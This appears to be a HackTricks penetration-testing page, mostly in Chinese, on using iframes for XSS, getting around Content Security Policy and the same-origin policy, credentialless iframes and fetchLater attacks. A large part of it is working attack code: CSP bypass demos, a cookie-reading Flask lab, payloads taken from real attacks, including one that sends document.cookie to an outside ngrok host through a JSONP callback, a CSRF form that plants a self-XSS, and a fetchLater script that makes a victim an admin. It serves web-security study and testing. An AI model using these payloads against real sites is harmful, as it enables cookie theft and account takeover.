Iframes in XSS, CSP and SOP

Reading time: 10 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Iframes in XSS

有三种方式来指示一个 iframe 页面内容:

  • 通过 src 指定一个 URL(该 URL 可以是跨源或同源)
  • 通过 src 使用 data: 协议指示内容
  • 通过 srcdoc 指示内容

访问父变量和子变量

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

如果您通过 HTTP 服务器(如 python3 -m http.server)访问之前的 HTML,您会注意到所有脚本都会被执行(因为没有 CSP 阻止它)。父级将无法访问任何 iframe 内部的 secret 变量只有 if2 和 if3(被视为同源)可以访问原始窗口中的 secret
请注意 if4 被认为具有 null 来源。

带 CSP 的 Iframes

tip

请注意,在以下绕过中,响应的 iframed 页面不包含任何阻止 JS 执行的 CSP 头。

script-srcself 值将不允许使用 data: 协议或 srcdoc 属性执行 JS 代码。
然而,即使 CSP 的 none 值也将允许执行在 src 属性中放置 URL(完整或仅路径)的 iframes。
因此,可以通过以下方式绕过页面的 CSP:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

注意,之前的 CSP 仅允许执行内联脚本
然而,只有 if1if2 脚本将被执行,但只有 if1 能够访问父级秘密

因此,如果您可以将 JS 文件上传到服务器并通过 iframe 加载,即使 script-src 'none',也有可能绕过 CSP。这也可能通过滥用同站 JSONP 端点来实现

您可以通过以下场景进行测试,即使在 script-src 'none' 的情况下也会窃取 cookie。只需运行应用程序并使用浏览器访问它:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

在野外发现的其他有效载荷

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

iframe 内的内容可以通过使用 sandbox 属性受到额外的限制。默认情况下,此属性不适用,这意味着没有限制。

当使用时,sandbox 属性施加了几个限制:

  • 内容被视为来自一个独特的源。
  • 任何提交表单的尝试都被阻止。
  • 禁止执行脚本。
  • 禁用对某些 API 的访问。
  • 防止链接与其他浏览上下文交互。
  • 不允许通过 <embed><object><applet> 或类似标签使用插件。
  • 防止内容自身导航到其顶级浏览上下文。
  • 自动触发的功能,如视频播放或表单控件的自动聚焦,被阻止。

属性的值可以留空(sandbox="")以应用上述所有限制。或者,可以设置为一个以空格分隔的特定值列表,以使 iframe 免于某些限制。

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Credentialless iframes

正如在 this article 中所解释的,iframe 中的 credentialless 标志用于在不发送凭据的请求下加载页面,同时保持加载页面在 iframe 中的同源策略 (SOP)。

这允许 iframe 访问来自同一 SOP 中在父页面加载的另一个 iframe 的敏感信息:

javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
  • 利用示例:Self-XSS + CSRF

在此攻击中,攻击者准备了一个包含两个 iframe 的恶意网页:

  • 一个加载受害者页面的 iframe,带有 credentialless 标志,并且有一个触发 XSS 的 CSRF(想象一下用户的用户名中有 Self-XSS):
html
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
  • 另一个 iframe 实际上已经登录用户(没有 credentialless 标志)。

然后,从 XSS 中可以访问另一个 iframe,因为它们具有相同的 SOP,并通过执行来窃取 cookie:

javascript
alert(window.top[1].document.cookie);

fetchLater 攻击

正如这篇文章中所述,API fetchLater 允许配置请求在稍后执行(在一定时间后)。因此,这可以被滥用,例如,在攻击者的会话中登录受害者(使用 Self-XSS),设置一个 fetchLater 请求(例如更改当前用户的密码)并从攻击者的会话中注销。然后,受害者在自己的会话中登录,fetchLater 请求将被执行,将受害者的密码更改为攻击者设置的密码。

这样,即使受害者的 URL 不能在 iframe 中加载(由于 CSP 或其他限制),攻击者仍然可以在受害者的会话中执行请求。

javascript
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})

Iframes 在 SOP 中

检查以下页面:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks